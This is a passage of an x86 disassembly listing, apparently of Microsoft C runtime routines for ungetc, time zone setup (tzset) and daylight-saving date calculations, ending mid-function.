; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_420920+9D7p
					; sub_420920+A65p ...
		cmp	cl, 40h
		jnb	short loc_428CFA
		cmp	cl, 20h
		jnb	short loc_428CF0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_428CF0:				; CODE XREF: sub_428CE0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_428CFA:				; CODE XREF: sub_428CE0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_428D07:				; CODE XREF: ___:00428D2Fj
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_428D2B
		push	offset dword_4334A4
		push	0
		push	31h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_428D2B
		int	3		; Trap to Debugger


loc_428D2B:				; CODE XREF: ___:00428D0Bj
					; ___:00428D28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_428D07
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_418E90
		add	esp, 4
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_428D70
		add	esp, 8
		mov	[ebp-4], eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_418F00
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428D70	proc near		; CODE XREF: sub_421DC0+11p
					; ___:00428D45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_428D77:				; CODE XREF: sub_428D70+2Fj
		cmp	[ebp+arg_4], 0
		jnz	short loc_428D9B
		push	offset dword_4334B4
		push	0
		push	60h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_428D9B
		int	3		; Trap to Debugger


loc_428D9B:				; CODE XREF: sub_428D70+Bj
					; sub_428D70+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_428D77
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_428DD7
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jnz	short loc_428DDF
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_428DD7
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_428DDF


loc_428DD7:				; CODE XREF: sub_428D70+3Bj
					; sub_428D70+58j
		or	eax, 0FFFFFFFFh
		jmp	loc_428EA7
; ---------------------------------------------------------------------------


loc_428DDF:				; CODE XREF: sub_428D70+48j
					; sub_428D70+65j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_428DF4
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_427F40
		add	esp, 4


loc_428DF4:				; CODE XREF: sub_428D70+76j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [ecx]
		cmp	eax, [edx+8]
		jnz	short loc_428E1F
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_428E12
		or	eax, 0FFFFFFFFh
		jmp	loc_428EA7
; ---------------------------------------------------------------------------


loc_428E12:				; CODE XREF: sub_428D70+98j
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_428E1F:				; CODE XREF: sub_428D70+8Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 40h
		test	eax, eax
		jz	short loc_428E5D
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte ptr [ebp+arg_0]
		cmp	eax, ecx
		jz	short loc_428E5B
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_428EA7
; ---------------------------------------------------------------------------


loc_428E5B:				; CODE XREF: sub_428D70+D7j
		jmp	short loc_428E74
; ---------------------------------------------------------------------------


loc_428E5D:				; CODE XREF: sub_428D70+BAj
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl


loc_428E74:				; CODE XREF: sub_428D70:loc_428E5Bj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	al, 0EFh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_428EA7:				; CODE XREF: sub_428D70+6Aj
					; sub_428D70+9Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_428D70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428EB0	proc near		; CODE XREF: sub_421E20+8Ap
					; sub_42EC70:loc_42F18Bp
		push	ebp
		mov	ebp, esp
		cmp	dword_4DB3C0, 0
		jnz	short loc_428EEB
		push	0Bh
		call	sub_41B780
		add	esp, 4
		cmp	dword_4DB3C0, 0
		jnz	short loc_428EE1
		call	sub_428F10
		mov	eax, dword_4DB3C0
		add	eax, 1
		mov	dword_4DB3C0, eax


loc_428EE1:				; CODE XREF: sub_428EB0+1Dj
		push	0Bh
		call	sub_41B820
		add	esp, 4


loc_428EEB:				; CODE XREF: sub_428EB0+Aj
		pop	ebp
		retn
sub_428EB0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0Bh
		call	sub_41B780
		add	esp, 4
		call	sub_428F10
		push	0Bh
		call	sub_41B820
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428F10	proc near		; CODE XREF: sub_428EB0+1Fp
					; ___:00428EFDp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		push	0Ch
		call	sub_41B780
		add	esp, 4
		mov	dword_4DB308, 0
		mov	dword_444588, 0FFFFFFFFh
		mov	eax, dword_444588
		mov	dword_444578, eax
		push	offset aTz	; "TZ"
		call	sub_42D080
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	loc_429093
		push	0Ch
		call	sub_41B820
		add	esp, 4
		push	offset dword_4DB310
		nop
		call	near ptr 283011Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_42908E
		mov	dword_4DB308, 1
		mov	ecx, dword_4DB310
		imul	ecx, 3Ch
		mov	dword_4444E0, ecx
		xor	edx, edx
		mov	dx, word_4DB356
		test	edx, edx
		jz	short loc_428FB9
		mov	eax, dword_4DB364
		imul	eax, 3Ch
		mov	ecx, dword_4444E0
		add	ecx, eax
		mov	dword_4444E0, ecx


loc_428FB9:				; CODE XREF: sub_428F10+91j
		xor	edx, edx
		mov	dx, word_4DB3AA
		test	edx, edx
		jz	short loc_428FEE
		cmp	dword_4DB3B8, 0
		jz	short loc_428FEE
		mov	dword_4444E4, 1
		mov	eax, dword_4DB3B8
		sub	eax, dword_4DB364
		imul	eax, 3Ch
		mov	dword_4444E8, eax
		jmp	short loc_429002
; ---------------------------------------------------------------------------


loc_428FEE:				; CODE XREF: sub_428F10+B4j
					; sub_428F10+BDj
		mov	dword_4444E4, 0
		mov	dword_4444E8, 0


loc_429002:				; CODE XREF: sub_428F10+DCj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0
		push	3Fh
		mov	edx, off_44456C
		push	edx
		push	0FFFFFFFFh
		push	offset dword_4DB314
		push	220h
		mov	eax, dword_4DB1C8
		push	eax
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_42903F
		cmp	[ebp+var_8], 0
		jnz	short loc_42903F
		mov	ecx, off_44456C
		mov	byte ptr [ecx+3Fh], 0
		jmp	short loc_429048
; ---------------------------------------------------------------------------


loc_42903F:				; CODE XREF: sub_428F10+11Bj
					; sub_428F10+121j
		mov	edx, off_44456C
		mov	byte ptr [edx],	0


loc_429048:				; CODE XREF: sub_428F10+12Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	3Fh
		mov	ecx, off_444570
		push	ecx
		push	0FFFFFFFFh
		push	offset dword_4DB368
		push	220h
		mov	edx, dword_4DB1C8
		push	edx
		call	near ptr 2710000h
		nop
		test	eax, eax
		jz	short loc_429085
		cmp	[ebp+var_8], 0
		jnz	short loc_429085
		mov	eax, off_444570
		mov	byte ptr [eax+3Fh], 0
		jmp	short loc_42908E
; ---------------------------------------------------------------------------


loc_429085:				; CODE XREF: sub_428F10+162j
					; sub_428F10+168j
		mov	ecx, off_444570
		mov	byte ptr [ecx],	0


loc_42908E:				; CODE XREF: sub_428F10+67j
					; sub_428F10+173j
		jmp	loc_4292B7
; ---------------------------------------------------------------------------


loc_429093:				; CODE XREF: sub_428F10+49j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_4290BD
		cmp	dword_4DB3BC, 0
		jz	short loc_4290CC
		mov	ecx, dword_4DB3BC
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_417870
		add	esp, 8
		test	eax, eax
		jnz	short loc_4290CC


loc_4290BD:				; CODE XREF: sub_428F10+18Bj
		push	0Ch
		call	sub_41B820
		add	esp, 4
		jmp	loc_4292B7
; ---------------------------------------------------------------------------


loc_4290CC:				; CODE XREF: sub_428F10+194j
					; sub_428F10+1ABj
		push	2
		mov	eax, dword_4DB3BC
		push	eax
		call	sub_415860
		add	esp, 8
		push	10Ch
		push	offset aTzset_c	; "tzset.c"
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_414DD0
		add	esp, 10h
		mov	dword_4DB3BC, eax
		cmp	dword_4DB3BC, 0
		jnz	short loc_42911D
		push	0Ch
		call	sub_41B820
		add	esp, 4
		jmp	loc_4292B7
; ---------------------------------------------------------------------------


loc_42911D:				; CODE XREF: sub_428F10+1FCj
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, dword_4DB3BC
		push	eax
		call	sub_4184C0
		add	esp, 8
		push	0Ch
		call	sub_41B820
		add	esp, 4
		push	3
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, off_44456C
		push	edx
		call	sub_417770
		add	esp, 0Ch
		mov	eax, off_44456C
		mov	byte ptr [eax+3], 0
		mov	ecx, [ebp+var_C]
		add	ecx, 3
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_42917D
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_42917D:				; CODE XREF: sub_428F10+259j
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_4173D0
		add	esp, 4
		imul	eax, 0E10h
		mov	dword_4444E0, eax


loc_429194:				; CODE XREF: sub_428F10+2AEj
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Bh
		jz	short loc_4291B5
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_4291C0
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_4291C0


loc_4291B5:				; CODE XREF: sub_428F10+28Dj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_429194
; ---------------------------------------------------------------------------


loc_4291C0:				; CODE XREF: sub_428F10+298j
					; sub_428F10+2A3j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Ah
		jnz	loc_429265
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_4173D0
		add	esp, 4
		imul	eax, 3Ch
		mov	ecx, dword_4444E0
		add	ecx, eax
		mov	dword_4444E0, ecx


loc_4291F5:				; CODE XREF: sub_428F10+304j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_429216
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_429216
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_4291F5
; ---------------------------------------------------------------------------


loc_429216:				; CODE XREF: sub_428F10+2EEj
					; sub_428F10+2F9j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Ah
		jnz	short loc_429265
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_4173D0
		add	esp, 4
		mov	edx, dword_4444E0
		add	edx, eax
		mov	dword_4444E0, edx


loc_429244:				; CODE XREF: sub_428F10+353j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_429265
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_429265
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_429244
; ---------------------------------------------------------------------------


loc_429265:				; CODE XREF: sub_428F10+2B9j
					; sub_428F10+30Fj ...
		cmp	[ebp+var_4], 0
		jz	short loc_429279
		mov	edx, dword_4444E0
		neg	edx
		mov	dword_4444E0, edx


loc_429279:				; CODE XREF: sub_428F10+359j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		mov	dword_4444E4, ecx
		cmp	dword_4444E4, 0
		jz	short loc_4292AE
		push	3
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, off_444570
		push	eax
		call	sub_417770
		add	esp, 0Ch
		mov	ecx, off_444570
		mov	byte ptr [ecx+3], 0
		jmp	short loc_4292B7
; ---------------------------------------------------------------------------


loc_4292AE:				; CODE XREF: sub_428F10+37Cj
		mov	edx, off_444570
		mov	byte ptr [edx],	0


loc_4292B7:				; CODE XREF: sub_428F10:loc_42908Ej
					; sub_428F10+1B7j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_428F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4292C0	proc near		; CODE XREF: sub_421E20+CFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Bh
		call	sub_41B780
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4292F0
		add	esp, 4
		mov	[ebp+var_4], eax
		push	0Bh
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4292C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4292F0	proc near		; CODE XREF: sub_4292C0+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4444E4, 0
		jnz	short loc_429304
		xor	eax, eax
		jmp	loc_4295E6
; ---------------------------------------------------------------------------


loc_429304:				; CODE XREF: sub_4292F0+Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		cmp	ecx, dword_444578
		jnz	short loc_429324
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		cmp	eax, dword_444588
		jz	loc_4294EB


loc_429324:				; CODE XREF: sub_4292F0+20j
		cmp	dword_4DB308, 0
		jz	loc_4294A5
		xor	ecx, ecx
		mov	cx, word_4DB3A8
		test	ecx, ecx
		jnz	short loc_429399
		xor	edx, edx
		mov	dx, word_4DB3B6
		push	edx
		xor	eax, eax
		mov	ax, word_4DB3B4
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DB3B2
		push	ecx
		xor	edx, edx
		mov	dx, word_4DB3B0
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4DB3AC
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DB3AE
		push	ecx
		xor	edx, edx
		mov	dx, word_4DB3AA
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	1
		call	sub_4295F0
		add	esp, 2Ch
		jmp	short loc_4293EA
; ---------------------------------------------------------------------------


loc_429399:				; CODE XREF: sub_4292F0+4Cj
		xor	edx, edx
		mov	dx, word_4DB3B6
		push	edx
		xor	eax, eax
		mov	ax, word_4DB3B4
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DB3B2
		push	ecx
		xor	edx, edx
		mov	dx, word_4DB3B0
		push	edx
		xor	eax, eax
		mov	ax, word_4DB3AE
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4DB3AA
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	1
		call	sub_4295F0
		add	esp, 2Ch


loc_4293EA:				; CODE XREF: sub_4292F0+A7j
		xor	ecx, ecx
		mov	cx, word_4DB354
		test	ecx, ecx
		jnz	short loc_429452
		xor	edx, edx
		mov	dx, word_4DB362
		push	edx
		xor	eax, eax
		mov	ax, word_4DB360
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DB35E
		push	ecx
		xor	edx, edx
		mov	dx, word_4DB35C
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4DB358
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DB35A
		push	ecx
		xor	edx, edx
		mov	dx, word_4DB356
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_4295F0
		add	esp, 2Ch
		jmp	short loc_4294A3
; ---------------------------------------------------------------------------


loc_429452:				; CODE XREF: sub_4292F0+105j
		xor	edx, edx
		mov	dx, word_4DB362
		push	edx
		xor	eax, eax
		mov	ax, word_4DB360
		push	eax
		xor	ecx, ecx
		mov	cx, word_4DB35E
		push	ecx
		xor	edx, edx
		mov	dx, word_4DB35C
		push	edx
		xor	eax, eax
		mov	ax, word_4DB35A
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4DB356
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	0
		call	sub_4295F0
		add	esp, 2Ch


loc_4294A3:				; CODE XREF: sub_4292F0+160j
		jmp	short loc_4294EB
; ---------------------------------------------------------------------------


loc_4294A5:				; CODE XREF: sub_4292F0+3Bj
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	1
		push	4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		push	edx
		push	1
		push	1
		call	sub_4295F0
		add	esp, 2Ch
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	5
		push	0Ah
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_4295F0
		add	esp, 2Ch


loc_4294EB:				; CODE XREF: sub_4292F0+2Ej
					; sub_4292F0:loc_4294A3j
		mov	edx, dword_44457C
		cmp	edx, dword_44458C
		jge	short loc_429544
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_44457C
		jl	short loc_429515
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_44458C
		jle	short loc_42951C


loc_429515:				; CODE XREF: sub_4292F0+215j
		xor	eax, eax
		jmp	loc_4295E6
; ---------------------------------------------------------------------------


loc_42951C:				; CODE XREF: sub_4292F0+223j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_44457C
		jle	short loc_429542
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_44458C
		jge	short loc_429542
		mov	eax, 1
		jmp	loc_4295E6
; ---------------------------------------------------------------------------


loc_429542:				; CODE XREF: sub_4292F0+238j
					; sub_4292F0+246j
		jmp	short loc_429587
; ---------------------------------------------------------------------------


loc_429544:				; CODE XREF: sub_4292F0+207j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_44458C
		jl	short loc_429560
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_44457C
		jle	short loc_429567


loc_429560:				; CODE XREF: sub_4292F0+260j
		mov	eax, 1
		jmp	short loc_4295E6
; ---------------------------------------------------------------------------


loc_429567:				; CODE XREF: sub_4292F0+26Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_44458C
		jle	short loc_429587
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_44457C
		jge	short loc_429587
		xor	eax, eax
		jmp	short loc_4295E6
; ---------------------------------------------------------------------------


loc_429587:				; CODE XREF: sub_4292F0:loc_429542j
					; sub_4292F0+283j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		imul	edx, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		imul	eax, 0E10h
		add	ecx, eax
		imul	ecx, 3E8h
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_44457C
		jnz	short loc_4295D2
		mov	eax, [ebp+var_4]
		cmp	eax, dword_444580
		jl	short loc_4295CE
		mov	eax, 1
		jmp	short loc_4295E6
; ---------------------------------------------------------------------------


loc_4295CE:				; CODE XREF: sub_4292F0+2D5j
		xor	eax, eax
		jmp	short loc_4295E6
; ---------------------------------------------------------------------------


loc_4295D2:				; CODE XREF: sub_4292F0+2CAj
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_444590
		jge	short loc_4295E4
		mov	eax, 1
		jmp	short loc_4295E6
; ---------------------------------------------------------------------------


loc_4295E4:				; CODE XREF: sub_4292F0+2EBj
		xor	eax, eax


loc_4295E6:				; CODE XREF: sub_4292F0+Fj
					; sub_4292F0+227j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4292F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4295F0	proc near		; CODE XREF: sub_4292F0+9Fp
					; sub_4292F0+F2p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 1
		jnz	loc_4296CC
		mov	eax, [ebp+arg_8]
		and	eax, 3
		test	eax, eax
		jnz	short loc_429619
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_444590[ecx*4]
		mov	[ebp+var_C], edx
		jmp	short loc_429626
; ---------------------------------------------------------------------------


loc_429619:				; CODE XREF: sub_4295F0+18j
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_4445C4[eax*4]
		mov	[ebp+var_C], ecx


loc_429626:				; CODE XREF: sub_4295F0+27j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_8]
		sub	eax, 46h
		imul	eax, 16Dh
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		sar	edx, 2
		lea	eax, [ecx+edx-0Dh]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_14]
		jge	short loc_429679
		mov	eax, [ebp+arg_14]
		sub	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_10]
		sub	ecx, 1
		imul	ecx, 7
		add	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_42968D
; ---------------------------------------------------------------------------


loc_429679:				; CODE XREF: sub_4295F0+6Ej
		mov	edx, [ebp+arg_14]
		sub	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		imul	eax, 7
		add	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax


loc_42968D:				; CODE XREF: sub_4295F0+87j
		cmp	[ebp+arg_10], 5
		jnz	short loc_4296CA
		mov	ecx, [ebp+arg_8]
		and	ecx, 3
		test	ecx, ecx
		jnz	short loc_4296AC
		mov	edx, [ebp+arg_C]
		mov	eax, dword_444594[edx*4]
		mov	[ebp+var_10], eax
		jmp	short loc_4296B9
; ---------------------------------------------------------------------------


loc_4296AC:				; CODE XREF: sub_4295F0+ABj
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_4445C8[ecx*4]
		mov	[ebp+var_10], edx


loc_4296B9:				; CODE XREF: sub_4295F0+BAj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jle	short loc_4296CA
		mov	ecx, [ebp+var_8]
		sub	ecx, 7
		mov	[ebp+var_8], ecx


loc_4296CA:				; CODE XREF: sub_4295F0+A1j
					; sub_4295F0+CFj
		jmp	short loc_429701
; ---------------------------------------------------------------------------


loc_4296CC:				; CODE XREF: sub_4295F0+Aj
		mov	edx, [ebp+arg_8]
		and	edx, 3
		test	edx, edx
		jnz	short loc_4296E5
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_444590[eax*4]
		mov	[ebp+var_14], ecx
		jmp	short loc_4296F2
; ---------------------------------------------------------------------------


loc_4296E5:				; CODE XREF: sub_4295F0+E4j
		mov	edx, [ebp+arg_C]
		mov	eax, dword_4445C4[edx*4]
		mov	[ebp+var_14], eax


loc_4296F2:				; CODE XREF: sub_4295F0+F3j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+arg_18]
		mov	[ebp+var_8], edx


loc_429701:				; CODE XREF: sub_4295F0:loc_4296CAj
		cmp	[ebp+arg_0], 1
		jnz	short loc_429741
		mov	eax, [ebp+var_8]
		mov	dword_44457C, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_444580, ecx
		mov	edx, [ebp+arg_8]
		mov	dword_444578, edx
		jmp	loc_4297E4
; ---------------------------------------------------------------------------


loc_429741:				; CODE XREF: sub_4295F0+115j
		mov	eax, [ebp+var_8]
		mov	dword_44458C, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_444590, ecx
		mov	edx, dword_4444E8
		imul	edx, 3E8h
		mov	eax, dword_444590
		add	eax, edx
		mov	dword_444590, eax
		cmp	dword_444590, 0
		jge	short loc_4297B1
		mov	ecx, dword_444590
		add	ecx, 5265C00h
		mov	dword_444590, ecx
		mov	edx, dword_44458C
		sub	edx, 1
		mov	dword_44458C, edx
		jmp	short loc_4297DB
; ---------------------------------------------------------------------------


loc_4297B1:				; CODE XREF: sub_4295F0+19Cj
		cmp	dword_444590, 5265C00h
		jl	short loc_4297DB
		mov	eax, dword_444590
		sub	eax, 5265C00h
		mov	dword_444590, eax
		mov	ecx, dword_44458C
		add	ecx, 1
		mov	dword_44458C, ecx


